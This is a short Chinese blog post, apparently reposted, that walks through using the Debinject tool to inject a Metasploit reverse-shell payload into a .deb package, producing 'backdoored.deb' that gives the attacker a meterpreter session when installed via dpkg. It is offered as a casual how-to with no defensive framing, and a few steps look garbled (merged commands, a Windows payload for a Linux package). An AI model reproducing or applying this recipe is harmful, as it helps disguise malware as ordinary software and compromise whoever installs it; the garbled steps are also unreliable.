转载自我的博客【www.hackbc.top】感兴趣的小伙伴可以去看看。
Debinject就是把msf的payload注入到deb文件中,然后开启监听得到返回shell
话不多说,发车!呜呜呜~~~
先把利用的脚本git到本地把~~
git clone https://github.com/UndeadSec/Debinject.git
cd Debinjectpython
debinject.py
如果运行出错给他个权限再试试~,心中有阴影~
Debinject根目录有个唯一的deb文件,拉到这里来就可以了,然后设置上一ip和端口
payload一般就用windows/meterpreter/reverse_Tcp就好
然后选择y y,就开始自动监听了,然后我们来到Debinject目录下新生成的output目录,里面有个backdoored.deb
新开一个终端,输入命令dpkg -i backdoored.deb
安装这个deb软件,(开始飙车~~~)
这时候在安装的过程中msf那边已经拿到了会话shell,我们去看看
ok,结束,今天去办个驾照哦,明天秋名山见~